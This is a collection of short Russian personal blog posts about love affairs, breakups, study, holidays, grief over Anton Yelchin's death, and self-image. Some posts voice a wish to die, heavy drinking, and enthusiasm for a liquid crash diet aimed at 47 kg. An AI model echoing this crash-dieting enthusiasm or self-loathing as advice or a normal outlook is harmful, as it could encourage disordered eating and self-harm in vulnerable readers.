МИР МЕНЯЕТСЯ

Мир меняется с катастрофической скоростью!!! Уже сейчас, сегодня, по сути, не нужны тысячи, десятки тысяч, миллионы гос.служащих (налоговая, биржа труда, пенсионный фонд и прочее, прочее) - всё это элементарно заменяется информационными порталами и порталами услуг в интернете! Не видели ролик про почту в Швеции? Она уже сегодня работает! Не нужны все эти почты, почтальоны! Машины без водителей тестируют! Т.е., таксист, как профессия, канет в лету! Уверяю, скоро появятся и тепловозы без машинистов! Не нужны станут они! Это я про цивилизованный Мир говорю. Можно продолжать список того, что создаётся, придумывается в Мире! Само слова РАБОТА в новом МИРе меняет смыслы и значения! Не надо больше, чтоб лопатами и ломами рыли Беломорканалы заключённые!

Не нужно строить огромные ДнепроГЭСы, привлекая, обеспечивая работой десятки тысяч нищих рабочих. Не нужны эти Днепрогэсы с развитием и использованием солнечной и других видов энергии! Не нужны шахтёры и их уголь тоже не нужен!
А у нас как был 19-ый век, так и остаётся… Условно - Каждый должен работать! А что делать то? Ну вот, на, хоть канаву рой! А зачем та канава? А чтобы работать! Так зачем? Ну а как по другому?!

МИР изменился!!! Меняется со скоростью света, а у нас тут не то, что не меняется, так об этом даже не задумываются!!!

Борис Яковлев

(c) рср

Я не знаю более наглой лжи, чем аксиома, которую с детства вбивают нам в голову: "В здоровом теле — здоровый дух". Кто сказал, что здоровый дух — это идеал, к которому все должны стремиться? "Здоровый" в данном случае означает пустой, посредственный, лишенный воображения, набитый глупыми стереотипами, порожденными общепринятой моралью и официальной религией. Что такое "здоровый дух"? Дух конформиста, ханжи, нотариуса, страхового агента, фанатика, старой девы или бойскаута. Это не здоровье, это явная патология. Уникальный и богатый внутренний мир неимоверно "грязен", в нем есть место дурным мыслям, запретным плодам, изощренным фантазиям, безумным мечтам, любопытству и сомнению в тривиальных истинах.

Так хочется быть с тобой, но это немыслимо. Чтоб в сердце попавшая мне стрела, сломалась бессмысленно..

Вот мы и остались с тобой один на один, мистер Диплом. Я тебя сделаю, понял? Ты еще пожалеешь, что связался со мной. У меня есть банка кофе и неделя до защиты. Я тебя так допишу, что ты не сможешь нападать и тебе останется только трусливо защищаться! А с тобой, мисс Апатия, я разберусь после защиты, достала уже. Пошла вон.

Большинство людей намного сильнее, чем они думают, они просто забывают иногда в это верить.
Не бойтесь совершать ошибки, спотыкаться и падать, чаще всего величайшую награду приносит то, что больше всего нас пугает. Может вы добьетесь всего чего хотите, а может даже больше, чем представляли себе. Кто знает, куда приведет вас жизнь, путь долог, и в итоге само путешествие и есть цель.


Спасибо матерям, которые вырастили из своих мальчиков настоящих мужчин. Не тех парней, которые считают, что женщина им чем-то обязана, не тех, которые спокойно относятся к тому, что жена работает в два раза больше, не тех, кто, встав из-за стола после ужина, не помоют за собой тарелку.
Спасибо за настоящих. Ведь мужчину воспитать гораздо сложнее, чем женщину.
Кругом полным полно маменьких сынков, нытиков;мужиков, которые не отвечают за свои слова и при первой проблеме пытаются сбежать; мужиков, которые " буду поздно, ложись без меня", " на работе задержали", " прости дорогая, голова болит";которые банально не уступят женщине места в транспорте и не пропустят вперед при входе в подъезд.
Спасибо за тех, кто встаёт по ночам к ребенку, за тех, кто готовит детям завтраки в школу и проверяет уроки, за тех, кто среди ночи подскочат и приедут в любую точку города, которые выполняют обещанное и не обещают невыполнимое, которые починят потекший кран, перетащут огромный шкаф из одной комнаты в другую и соберут детскую кроватку (не важно, что на это уйдёт полдня). Которые заботятся о своих вторых половинках, любят своих детей, могут забрать их из сада или сходить к врачу. Которые любят нас. Которые, в общем-то, могут окинуть одобрительным взглядом другую, но всё равно, всегда остаются с нами.

Когда-то я мечтала перемотать время на год вперед до выпускного из университета, и вместо всего того хаоса оказаться в доме у бассейна, пить ром и танцевать. А теперь мечтаю перемотать время к моменту подписанных бумаг об увольнении. Хочу в тот момент, где я выхожу из этого здания. Я свободна, счастлива и единственная забота - составить план развлечений. В тот день я не переживаю о деньгах, потому, что их хватает на всё, а с долгами покончено. Впереди меня ждет рок-концерт, полет на воздушном шаре и поездка к океану с любовью моей жизни и самыми близкими друзьями.

В принципе, вторая половина дня прошла неплохо. Если не учесть, что в кино я наорала на бабу, которая без умолку болтала, наехала на кассиршу в магазе, еще один парень попал под раздачу за то, что решил пошутить схватив мою сумку и потянув меня назад, орала долго и громко, в общественном туалете просто выбесилась из-за того, что одна девушка через зеркало на меня смотрела, че блядь, я твою собаку убила?! Эта оказалась с характером и началась перепалка у нас, реально хотела ее головой в унитаз мокнуть. До этого, конечно, не дошло бы, но кажется она поверила, что я хочу это сделать. Истеричка же я?! Даже с Р, с которым перестала сквозь зубы разговаривать я снова поссорилась. Хотя все и началось с него. За этот поганный день ему спасибо. Но…о хорошем. С подругами, наконец, собрались и сходили на "заклятие 2", а после посидели в кафе и по душам поговорили. Спасибо моим девочкам, отвлекли хоть.

все мы знаем, что порой для того, чтобы окончательно отпустить, понять, что человек не "твоё" и со спокойной душой всё забыть, необходимо вернуться. написать, позвонить или увидеться. (быть может, я сейчас нагло вру, ведь для того, чтобы убедиться в том, что ничего еще не закончилось, нужно проделать те же вещи, но тогда это больно и проблематично, ведь уходить всё-равно надо)

а мне вот повезло.
нежность больше не вернуть, да и он маленький и самовлюбленный. я могу быть ему лишь другом и то - по возможности. по желанию. по мере скучания, в периоды моей острой необходимости его голоса, не более.

кто-нибудь из моих девчонок обязательно спросит, мол, ну и на кой черт он тебе?
отвечу: " да ни на кой: голос красивый "
голос и глаза, которыми он на мир смотрит. косточка на челюсти выступающая до анриальности сексуальная. к тому же, так вышло спонтанно, что все его минусы характера и внутренние конфликты я уже приняла и полюбила по-своему.

вот и всё. вот так у меня бывает: вчера делал больно, сегодня уже нет.

Пару дней назад вышла последняя книга из серии "Мефодий Буслаев". Вот и последняя ниточка, связанная с детством, уже почти порвалась. Думаю о том, чтобы купить печатную версию, как напоминание о целой эпохе моей жизни.

Город никогда так не меняется, как когда ты его покидаешь. Через 4 часа улетаю еее Лонг трип хэз биган!

Даже мысли не хочу допускать, что Ты можешь посвящать Ей песни, петь для Нее на гитаре, что Ты можешь думать о Ней, что Она стала для Тебя всем.
Но видимо Ты уже и знать забыл кто я. И кто Ты. с Ней рядом Ты упал в моих глазах. НО! Счастья Тебе, такого же легкодоступного, как Эта особа женского пола находяящаяся рядом с Тобой. Мир!

Осторожность и предусмотрительность - это, конечно, хорошо, даже в межгендерных отношениях. Но я убеждена в том, что, сдерживаясь в чем-то (сейчас речь о позитивных аспектах данных отношений), мы рискуем упустить шанс стать ближе или, по крайней мере, испытать позитивные эмоции. Сдержанность может иметь и обратный эффект - совсем не хороший, ведь, согласитесь, мало приятного в том факте, что ваши отношения "делают шаг назад". Будет неплохо, если это лишь пауза (скажем, забор дыхания перед погружением в воду или марафоном). Но вдруг это то самое отступление и движение в обратную сторону не прекратится?

И конечно же после зажигательных танцев в GIPSY до утра, после сна в одной постели под одним одеялом, после завтрака в парке в четыре часа дня на пледике, после совместного просмотра второго заклятия. Обязательно, обязательно нужно было поцеловаться на вокзале, когда я к себе, а он здесь.



-
Мне все говорили с самого начала:
" Все в порядке", "С тобой всё будет хорошо" и "Не волнуйся".
Это всё бред! Не знаю, почему мне все так боятся сказать: "Ты умрёшь, чувак".
И от этого только хуже, что открыто этого никто не говорит.
-

Жизнь прекрасна
(50/50)

Иногда я думаю, что не нагулялась. Не навеселилась. Я как то из школы через год уже в семейную жизнь сиганула. Чуть чуть распробовала, как жить в общаге или снимать квартиру с малознакомой девушкой, тусняки на квартирах, клубы, девичники, но совсем немножко. А вот он уже сразу видно нагулялся, натусился до ужаса, что теперь ему все это противно. А мне то хочется, мне хочется веселиться, хочется совершать глупости, ночами не спать, я уже даже с людьми разучилась знакомиться и общаться, а ведь раньше такая заноза была, хрен заткнешь. Но это не его вина. Это произошло ещё в 11 классе, когда меня все разом бросили и предали и плохо было до жути. Тогда я както надломилась, а потом экзамены не особо зашли, мечта не сбылась и я вообще сломалась и сильно изменила своё отношение к миру. Не в лучшую сторону, к сожалению. Как все вернуть? Не могу обрести гармонию, нет баланса, а я без него не могу, чахну. Сдохнуть хочется, чтобы ничьё время не тратить и не разочаровывать людей своей никчемностью.

Бесит, что просишь побыстрее сделать, поговорить, чтобы уже окончательно решился вопрос, а человек всё чего-то ждёт! Дело одного звонка, и всё. Неужели так сложно позвонить, поговорить, а потом мне написать своё решение? Просто для меня решается важное дело, которое определит, чем я буду заниматься этим летом и где я окажусь. И это подвешенное состояние угнетает просто + ответственность перед другими. Мне и стресса от сессии хватает, спасибо.

Пошла с Илюшей за шампунем ну и всякими мелочами и встретила в магазине одноклассника. Я как шаромыга-голова грязная, вся мокрая от жары, одета как чмо да и что таить, набрала лишник много кило. Поговорили-разошлись. Вышли из магазина и я заметила что теранулась где-то в пыли и вся рука у меня черная. Вытирая лоб я и его измазала. А на ногтях вообще укроп остался. Не передать как мне стыдно. Нужно было водку покупать, тогда все ок.

И мне больше ничего не остается, кроме как просить у себя прощение в тысячный раз, понимая, что Я опять буду наступать на те же грабли снова и снова…

Rest in peace, Anton Yelchin

« Американский актер русского происхождения Антон Ельчин, известный по ролям в фильмах «Альфа Дог» и «Звездный путь», погиб в возрасте 27 лет. По предварительным данным, Ельчин был придавлен собственным автомобилем.

Уточняется, что ранее друзья Антона Ельчина начали беспокоиться, так как актер не пришел на репетицию. Они отправились домой к Ельчину в Сан-Фернандо около 1 часа ночи и обнаружили тело актера, придавленное его машиной к кирпичной стене гаража.

По данным сотрудников полиции, двигатель автомобиля Ельчина работал, когда было обнаружено тело, а рычаг коробки передач находился в нейтральном положении. В полиции также отметили, что подъездная дорога к дому имеет довольно крутой спуск. Причина, по которой Ельчин вышел из автомобиля, неизвестна.» х

эта новость просто оглушила. сижу и не могу поверить…. реально, вначале не поверила. недавно Джек Блек уже так пошутил, поэтому новость о Антоне не приняла всерьез. но чем дальше я листала ленты в вк и тамблере.. О Боже, нет!!! ну зачем это оказалось правдой?! какой-то несчастный случай и вот больше нет молодого и талантливого парня. грустно, тяжело и безумно жаль.

Покойся с миром, Антон. Светлая тебе память!!!

Пребываю в шоке от смерти Антона Ельчина. У меня просто нет слов что-то сказать. Добро пожаловать в клуб 27, Антош, и покойся с миром…

Пытаюсь разложить все по полочкам. Пытаюсь понять зачем мне нужен этот мужчина, и почему, черт возьми, именно он?! И ничерта не выходит. Изо дня в день я занимаюсь самоедством, а толку - ноль.

Я искренне верю только в одно. Можно делать что хочешь, когда хочешь и сколько хочешь. Совесть и правила нам навязывает общество.

Антон Ельчин, снимавшийся в "Звездном пути" и "Альфа дог", погиб в в автокатастрофе. Актеру было 27 лет.

вот так нихуя. ..

вот только-только показалось, что ты ухватилась за хвост счастья, буквально на миллиметр, и тут - ХРЯСЬ! хвост отваливается.

Добрый вечер.

Как то давно сюда ничего не писала и так хочется что то написать, но вот сижу и думаю: а что писать то? Все как обычно: работа-дом-работа-дом изо дня в день. Нет, я не хочу сказать что все плохо, ни в коем случае. Все просто прекрасно. Это я просто к тому что в принципе ничего грандиозного не происходит. Но как говорится: счастье же в мелочах, правда?

08 июня сдала и закрыла сессию. Теперь я на 4 курсе. Как то и радостно с одной стороны что это все скоро закончится, а с другой стороны если так подумать то все самое страшное только начинается. ГОСы, диплом, практика(если она будет конечно, так как я на заочке). Страшно подумать сколько нужно сил, терпения и денег.

На работе все как обычно. Весело, интересно но уже начинает приедаться. Впринципе и писато то больше нечего.

Дома все прекрасно. В мае было 2,5 года как мы с ним вместе. И как то и не верится даже. На пол года наших отношений он мне говорил что думал что я его и трех месяцев не выдержу. И честно сказать я так и думала. Но мы смогли)) Так и живем, можно сказать душа в душу, хотя конечно иногда ругаемся, но без этого же было бы скучно и не интересно))

Лето вообще проходит как то скучно и вяло. Такое чувство что сейчас даже не лето, а не понятно что. Печальное какое то лето получается.Но может дальше будет веселее. Может получится поехать куда-нибудь, поплавать, позагорать, отдохнуть.

Что касается сегодня и сейчас то сижу вот кушаю бутерброд, слушаю Arash Feat. Snoop Dogg – OMG (нравится она мне очень). Сегодня у нас ночевала подружка, с утра проснулись и пошли в магаз, так как нам очень захотелось суши. Наделали, наелись и успокоили душеньки :) сейчас вот пришла к маме наночь, мой на работу вночь ушел и я пришла сюда, чтобы не скучно было :)

Ну так то впринципе и все, как и говорила ничего особенного не происходит, но зато выговорилась :)

Сейчас играет: Mahmut Orhan Ft. Sena Sener – Feel

ох уж это богоподобное чувство, когда ты собралась, накрасилась, сделала клёвые кудряшки. оделась, подходишь к метро (до которого хреначила 20 минут), и тебе приходит сообщение "слушай, сегодня никак". НАХУЙ с таким раскладом, вот правда.

я всё понимаю, разные ситуации бывают, но не из-за херни. я тоже человек, у меня планы может есть, может я в принципе не хотела никуда идти, а тут ради тебя сошла с дивана и тут на тебе.

сама судьба мне велит сидеть дома и не выёбываться лишний раз никуда.

ещё второй день думаю о том, что хочу пойти на курсы. не принципиально какие, хочу чем ни будь занять голову. грубо говоря прошло всего три недели каникул, а я на стену лезть скоро начну. когда такое было вообще?

было году в 2011, вчера как раз читала записи на вьюви со старого блога. 2011 год, был самым лучшим, до сих пор так считаю. особенно лето. рядом были двое близких и родных друзей, было много движухи и приключений. а сейчас что? меня кидают около входа в метро и я иду 20 минут пешедралом домой. увлекательно, не так ли?

Мой отпуск заканчивается.

Это такая катастрофа, что я даже не знаю, что такого придумать, чтобы успокоить себя, и потому пью водку с клубничным соком, сидя напротив вентилятора и испытываю явную потребность вписать в эту картину зажжённую сигарету. Но в картину вписывается наконец-то начатый интерстеллар (мне всегда так стрёмно смотреть фильмы про вселенную, прям брр и мороз по коже) и так и не сделанные за эти две с половиной (кстати на удивление не быстрые) недели дела. Холодильник не разморожен, линзы в очки не заказаны, новые труселя не куплены.

Меня так страшит понедельник.

пока мучительно засыпаешь, успеваешь возненавидеть новый день.и так теперь будет всегда. не хочу…

Вот знаете, бывают красивые люди. Да-да, внешне. На них смотришь и вздыхаешь только. От того, что так всё гармонично в физике человека или от зависти - выберите сами.

Но вот еще есть два типа: некоторые красивы лишь издалека, а другие лишь вблизи.

Мне очень нравилось смотреть на тебя. Твои черты лица, скулы, голубые глаза, красивые изогнутые брови. Так и хочется провести рукой, что, собственно, и было сделано уже не один десяток раз. Но издалека ты ничем не привлекательный человек. Это всё видно только вблизи (а, может, только мне?) Когда ты рядом - хочется тебя касаться.

когда вокруг только плохие новости,
когда не хватает слов описать свою боль,
нужен человек,
который не даст утонуть.

не даст утонуть
в собственных мыслях.

вообще, пару месяцев назад и примерно года два до этого для меня было абсолютно нормальным купить бутылку вина и спокойненько выпить её в одно лицо за вечер. а иногда и парочку. сейчас открытая бутылка стоит у меня в холодильнике уже третий день, а я всё ещё не допила даже первый бокал, который налила ещё в пятницу вечером.

у меня просто нет желания напиться. уже давно я, напиваясь, приобретаю больше проблем, чем приятных ощущений. а вот так: лежать вечером с бокальчиком прохладного красного, попивать маленькими глотками, слушать любимую музыку и заниматься своими делами - в этом есть свой кайф.

наверное, исчезли какие-либо источники переживаний. я имею в виду людей, потому что бытовых-то проблем хоть отбавляй xD но я не зацикливаюсь на них так, как на человеческих отношениях. и, возможно, это и есть моя главная ошибка в жизни. но сейчас мне как-то хорошо и спокойно. и даже тараканы чешут череп изнутри как-то ласково и лениво. гармония.

Хотелось бы, чтобы уж в этот раз мойблог не стал достоянием общественности (за исключением пользователей вьюи), следовательно, обойдемся без знакомства а-ля " Привет, меня зовут так-то, мне столько-то лет" и т.д. и т.п.

Абсолютно неважно.

Сюда, пожалуй, будет выливаться именно то дерьмо, что съедает мой мозг (громко сказано), скорее просто сидит в мыслях.

мысли возникают, ты записываешь, раздумываешь, забываешь
а уже завтра, через день - все такое пустое, неважное
спрашивается, зачем энергию тратил впустую? ведь незачем

и сейчас

все, что до этого, до сегодня - совсем воздушное, ненужное мне и моей голове
в блоге и в жизни, неважное
забытое теперь

Оказала на меня влияние моя старшая сестра, она мой лучший друг, моя вторая мама, мой защитник и прсто родной человек Она научила меня многому в этой жизни. Когда я её поздравляла с Новым годом, внутри меня что-то застыло, я не могла передать словами как сильно я в ней нуждаюсь. И мне так жаль, что когда близкий человек рядом, на его слова- я тебя люблю, мы сухо отвечаем - дада и я тебя Целый год без неё. Она мой лучик солнца.

мне сейчас ничего не надо.
и все реже бывает больно.

сколько там еще кругов ада?
я пройду. добровольно.

Понкин идет чисто под настроение и переборщить с ним нельзя.

"Не вспоминай, прошу тебя, не вспоминай. Посвяти себя равнодушию. Сделайся безразличным. Отвернись. Сверь стрелки часов своей памяти с настоящим и больше на них не смотри. Пусть эта ночь станет страницей восторга и тишины. И в этом будет хоть какой-то смысл.
Твои попытки стать счастливее никогда еще не приводили тебя к счастью. Так к чему они? Иногда мне кажется, что мы живем во всех синонимах одиночества и осознание этого - и есть путь к счастью.
Но, подумай, ведь твое счастье сегодня - удел других. Зачем тебе быть зависимым? Завтра утром все, что тебе достанется в наследство от сегодняшней ночи, да и всей твоей жизни до этого момента - это сожаление. Ты сожалеешь о том, что не решился. Ты сожалеешь об упущенных шансах. Ты сожалеешь о людях, которым не раскрыл себя настоящего. Погуби недосказанность, иначе она погубит тебя. Не становись тем, чей удел - немая повседневность. Загляни в себя с взрывоопасной смесью надежды в руках, и разыщи в кромешной тьме сомнений одну ничтожную искорку смелости. Пусть она осветит тебе путь.
Наверняка, ты сейчас хотел бы сделать ставку на заведомый проигрыш, обосновав свой ход трафаретными фразами, но есть еще столько слов, которые тебе предстоит произнести не вовремя и столько моментов, которые предстоит испортить. Не стоит с этим спешить.
Встречай девушек, что проецируют все слова на себя. Встречай парней, что готовят тебе кофе в полупустой квартире. Находи великое в ничтожно неинтересном. Полагайся на меньшинство. Тебя ждет удивительная жизнь. И все, что от тебя требуется - это замечать детали, которые на первый взгляд кажутся незначительными, но именно в незначительном кроется прекрасная перспектива. И помни: как бы ты не поступил, ты поступаешь правильно.

Будь счастлив.
Будь счастлив присутствием.
"

19 июня

Ну вот еще одна неделя за плечами, чтобы я сказала по поводу нее-она проёбана полностью и без поворотно, не буду говорить по каким причинам ибо их много. Главное что вчера он был пусичкой и несмотря на всю усталось у нас был чудесный секс в ванне, ну и сегодня утром после завтрака неплохо так порезвились, ну к примеру придумали много нестандартного. Ой забыла вчера же еще был подоконничек что тоже вышло неплохо. Какая то я пошлячка тут. Вчера пыталась приготовить тортик "черепаха", но он не получился, не пропитался полностью, да и коржи которые пеклись сгорели пока мы лежали сюскались. Я расстроилась так, а он встал сзади меня обнял и такой говорит:"Ну сделаем маленький тортик, тебе же на море скоро, тебе нельзя полнеть" и знаете когда он такой так легчает, все становиться простым и самым легким, все кажется таким сладко притарным и вкусным как и он сам.

17 июня

Дней все меньше и меньше, а мы большую часть ругаемся срываемся друг на друга или творим ахинею какую нибудь. Может пишу так потому что он сейчас в душе и у нас секса уже не было дня три и он это отмечает тем что зол на меня. Я испробовала все что можно, ходила голая возле него, мерила купальники вертелась, но по всей видимости его ничего не завлекает. Не знаю будет ли мир между нами сегодня, но я до сих пор злюсь потому что вчера да может я ступила и отключила будильник и он проебал английкий и он был зол на меня, но он оставил меня одну в пустой квартире, а сам ушел на хату где веселился с ребятами. Грустно не грустно, но это дало мне повод задуматься о том что у меня совершенно нет то и друзей в принципе, ведь мне не с кем даже потусить по сути. Я какая то странная правда. Дико мне от всего этого. Я чувствоввала как корни уже пустила в семейную жизнь, к примеру вчера пекла пончики и готовила как он ушел, а потом засела за сериалы, вместо того что бы куралесить типо ой как хорошо в моем распоряжении трешка ага конечно тупица какая то я. Надеюсь Адель ты изменишься спустя месяц и станешь по другому себя вести, ну или хотя бы уважать себя и любить, потому что то что между вами сейчас это такая херня если честно и ты это видишь, надеюсь через месяц как ты прочтешь это твои мозг тебе даст сигнал о том какая ты умничка что поступила именно так как поступишь, ну а пока живи радуйся деточка ты сама себе такую жизнь выбрала. И знаете люди же цепляются когда разводятся за детей там за бизнес или имущество ну так вот я так же цепляюсь за прошлое ну типо раньше же было так то, раньше же я была в главном приоритете ценностей. Теперь уже нет. Теперь все иначе. Не утопи себя в этом болоте как сказал Самарский паренек.

Вторую ночь подряд снится встреча с тобой. Как же я соскучилась. Только, боюсь, так как во сне мы с тобой уже не встретимся.

Время ближе к ночи, начинаются игры в "сколько хочешь звони, трубку не возьму". Настроение не радуга, но неизвестно, что будет, если отвечу, так что уж лучше так. И надо будет что-то говорить, а я не знаю, что. Может, мне просто захотелось драм, но ты-то тоже в этом замешан, так что тоже получай.

Сидя у набережной,

Вспоминаю о тебе…

Господя! Как же я тебя люблю….

Так не бывает!

Ведь я еще, всего дитя…

Но я люблю тебя. Поверь!

Не знаю, может ли так быть?…

Я знаю точно лишь одно…

И это то, что Я.Тебя.Люблю.

Пусть говорят другие, что угодно….

И пусть для всех я лишь влюбленная девченка….

Но ведь люблю тебя я искренне….

Быть может чуточку наивно….

Но мне плевать.

Ведь я живу сегодня и сейчас.

И я люблю тебя.Сегодня и сейчас.



Было 4, стало 7. Пора остановиться, но они такие классные: красивые и недорогие. Плюс срок годности отличный: до 2019 года.

Мама бы не одобрила. По ее мнению нельзя покупать более двух лаков. Нужно краситься только ими и использовать их до конца. Эх.

Я так и не добралась до посуды.

Пришла Алина. Как я и думала были возмущения, что ничего не приготовила.

И в конечном счете "Иди помой посуду".

Господи, как же человек тупеет, если мозг не напрягать!

Я тут поняла, насколько не по силам мне егэ по литературе и насколько безграмотно я пишу. Выпускница вуза, блин! Сколько базовых знаний утеряно за эти 4 года и сколько ненужного нам отложилось! Опять за себя стыдно, ибо помню, что могу (егэ по лит-ре - лучшая в городе, без шпор). Теперь сижу в обнимку с "Анной Карениной" и пытаюсь читать её не запоем, как обычно, а вдумчиво, как учили в школе. Также пострадала английская грамматика и геометрия. Зато я специлист в вопросах гендера и социальных стереотипах.

Как-то мне сказали, что память забывает то, что нам не нужно. Недавно не смогла вспомнить написание некоторых базовых английских слов. Товарищи знатоки, поделившиеся со мной той "мудрой" фразой, к вам есть серьезный разговор.

Знаете, что мерзко? Что я мерзкая. От всех этих разговоров про: приехать к бывшему домой, его преподавание мне всяких учебных предметов и прочее; я отшучиваюсь, подыгрываю (што?), не говорю однозначно "да", но и прямого "нет" тоже не говорю.

Не оправдываю себя. Когда-то писала о шлюханской натуре? Ну, вот она, рвётся на свободу.

Нет, я, конечно, не буду изменять, пока я в отношениях. Просто нет. Я не хочу предавать своего молодого человека, он такого не заслуживает.
Но, как мне сказали, "ты уже изменила, если подумала об этом, захотела этого".

Кроме всего указанного выше, бывший ещё и озвучил(написал) то, в чём я сама боюсь признаться. Что вроде как по характеристикам мой нынешний - человек семейный, детей хотел, такое всё. Но если ему пофиг на то, где я и с кем (я случайно об этом обмолвилась когда-то давно, и далеко не в негативном контексте), то мне стоит задуматься. Возможно, у нас всё не так уж и серьёзно, по крайней мере, возможно, меня кое-кто серьёзно не рассматривает (и это повод изменить, видимо, по логике бывшего). А мой бывший совсем не дурак. Возможно, мудак, но не тупой. И либо он озвучил то, в чём реально уверен и что-то понимает, либо просто пытается уговорить меня на секс (тут оба вариант равновероятны).

И вот проблема: предполагаю (всего лишь), что если бы меня всё устраивало (либо хотя бы бОльшая часть) в отношениях, я бы о таком и не подумала. Если бы мы с молодым человеком виделись не раз в неделю-две. Если бы я хотя бы чувствовала, что со мной хотят увидеться. Если бы я чувствовала себя нужной. Ведь несмотря на то, что в прошлых отношениях я тоже была далеко от счастья, меня хотя бы хотели видеть, и я действительно это чувствовала. Хотя хотели видеть для каких целей - уже другой разговор, лол. Ну, не совсем, конечно, но около.
А здесь меня, по ходу, вообще ни для каких целей видеть не хотят.

Ладно, если опустить момент нынешних отношений и их проблем, есть ещё забавный фактъ:
Некоторое время назад, когда весь этот флирт в мою сторону только затевался, я решила погадать на таро: что будет, если я и дальше продолжу общаться со своим бывшим так же хорошо? И выпала мне двойка кубков - карта любви. Смешно, конечно. Забыла я про эту карту, а вот вчера она неплохо мне так вспомнилась… Стараюсь не воспринимать всерьёз, потому что на отношениях с бывшим поставлена вроде как точка. Тогда хотелось верить, да и сейчас хочется, что эта карта приведёт к хорошим отношениям с нынешним. Потому что он хороший.

Хотя я вот не очень.

привет всем, так рада сюда вернуться, и знаете я вернулась по большому счету по тому что я сажусь на диету, наконец то, снова диеты) я так по ним скучала, чуть позже я планирую опять пойти в зал. а с завтрешнего дня я сажусь на питьевую, компания у меня уже есть) и так поехали) буду писать каждый день и надеюсь все пройдет хорошо и я верну себе свои заветные 47 кг. могу еще порадовать вас фото)

Очень много думаешь о том, что нужно что-то менять. Даже строишь план о том, как ты будешь это делать. Порой даже расписываешь этапы, а потом случается какой-то треш и все. Все летит к чертям. Ты рвешь себя, свои принципы, взгляды и просто перестраиваешь жизнь.

Теперь я поняла, что все возможно сделать. Реально возможно. А наши мечты и желания так и не осуществляются, так как слишком мало усилий прикладываем. Или наоборот, слишком много.

знаете, есть такие люди, которые способны переписываться только о том, что им самим нужно и интересно. "скинь фото" или "хочешь, я сам скину фото?" (понять не могу, откуда они вообще появились в моей жизни и с чего взяли, что мне нужны их фотографии). им ни капли не интересно, что у вас нет настроения на всю эту чушь, они спрашивают "что случилось?" только из вежливости, а затем просто говорят "да забей. все само собой решится". и после этих слов снова говорят "а теперь скинь фото" или скидывают свое. не понимая при этом, что на данную фотографию даже смотреть не хочется, потому что человек вызывает элементарное чувство неприязни
а есть такие люди, которым просто скажешь "я в варшаве. но не знаю, как попаду домой" и они тут же начинают расспрашивать что случилось и почему у тебя опять проблемы с подругой (бывшей уже, наверное) и ее парнем. люди, которым ты можешь рассказать о том, что у тебя на душе, и они напишут нечто такое, что уже долгое время сидело в твоей голове, но никак не находило своего выхода. и даже если эти слова будут слегка резать по сердцу (не из-за того, что человек написал что-то плохое, а просто потому что констатировал фактическое положение вещей в другой ситуации), но ты все равно будешь чувствовать в них понимание и заботу. и знаете, от таких людей даже фотография окна в 9:44 утра с надписью "dobranoc" (спокойной ночи) будет в радость

Приехали с озера. Убрала кучу игрушек, сходила в душ, улеглась за ноут и уже безумно уставшее состояние. А в раковине гора посуды лежит. Ща скоро Алина с работы придет, есть вариант, что начнет возмущаться, что не помыта посуда и "а ты что ничего не приготовила?".

Завтра надо будет по аптекам пройтись, найти витамины для волос и кожи.

А сейчас пожалуй пойд покурю да помою эту чертову посуду.

Мы с этим Александром Александровичем уже второй день созваниваемся*_*
У меня уже такая привычка, как знакомлюсь или общаюсь с парнем, то на встречания не расчитываю и не думаю.. знаю, что нравлюсь им, но ограничиваюсь просто дружбой.

с ним я собиралась точно так же, но кажется, с каждой секундочкой, проведенную с ним, мне хочется с ним сблизиться больше..и больше

Я очень приятный человек. Правда, по-настоящему приятный.

*смех на заднем фоне*

Что?

Смеются они там, блять.

Ну как вы здесь?Как проходит лето? Я вот вообще его не ощущаю. Только приехала домой, так нет чтобы отдыхать, я приступила к работе. Сейчас у нас дома не самые райдужные времена, поэтмоу любые деньги нужны как никогда. Нам нужно сделать утепелние дома, а то с этии тарифами мы скоро по миру пойдем…

Скоро я уже переежаю к Сереже. Как же страшно и волнующе..Такое непонятно чувство внутри. Как бы должна радоваться, что спустя сколько времени мы наконец-то будем жить вместе. Но то, что я покидаю свой город, родных и прочее, меня угнетает. Хотя расстояние между нами будет всего-то в 100 км(1,5 часа в поезде). Такое вот.

Планируем в июле поехать с Сережкой отдыхать, но чувствую, что у меня скоро появится официальная работа, на которую нужно будет ходить и все..никаких планов не нужно будет и строить.

Ну не буду расстраиваться, все же будет хорошо, я знаю!

у меня сегодня промелькнула мысль, что я настолько отдала все чувства родному, но не тому человеку, что я просто не могу теперь ничего чувствовать. я притворяюсь, что бурлит эмоциональный котёл у меня в душе, но все это фальшь. На истинном уровне, я безэмоциональная тварь, которая думает лишь о себе любимой.

так горько становится, когда листаешь чужой блог и видишь свои собственные мысли/тексты, просто тупо скопированные и оставленные гордо висеть без подписи.

мне не жалко, берите, жалко ведь только у пчелки, но эти несчастные буквы/слова буквально кусками вырваны откуда-то изнутри, из настолько кровоточащего нутра, что аж больно. я готова молиться всем богам, в которых не верю, чтобы в Вашей жизни такого чертового пиздеца никогда не случалось, но черт возьми.

давайте хотя бы самую малость уважать друг друга, и если настолько понравилось, то банально ребложить.

/и да, мне нравится читать чужие блоги, ибо это чьи-то нерасказанные истории и маленькие частички личности. это настолько волшебно, что я никогда не перестану восхищаться/.

Более двух часов не могу собраться, выбрать, что надеть. Перемерила кучу всего. Смотрю в зеркало и понимаю, какое же я уёбище. Вообще из дома выходить не хочу.

со всем этим дерьмом в голове я даже согласна на мозгоебство от А.это хотя бы отвлечет, а потом и на ноги смогу встать, по инерции.но хрен мне.он не пишет уже 4 дня.я сойду с ума от боли быстрее, чем он вспомнит про меня.

—Если мы расстанемся, то тогда уж точно будем всю жизнь друг друга любить.
-Почему?
-Потому что, когда человек рядом, ты иногда можешь забыть о своей любви. Но когда он далеко, и ты не можешь быть с ним, касаться его, видеть его.. таких любят всю жизнь.

(с) по роману "Мое утро любит тебя

Наступило лето. С этим чудесным и любимым временем пришли перемены, свои сложности. Но это все уходит на второй план, когда я каждое утро, пять дней в неделю, пробуждаюсь от объятий мужчины, и иду готовить ему завтрак.

Если повернуть время назад и посмотреть на мои мысли, цели, устои тогда, мне станет стыдно. Уже почти год как во мне что-то изменилось. Перевернулось. Проснулось. Расцвело. Я постоянно хожу, улыбаюсь. Мелкие неприятности уходят, которые появляются - быстро решаются.

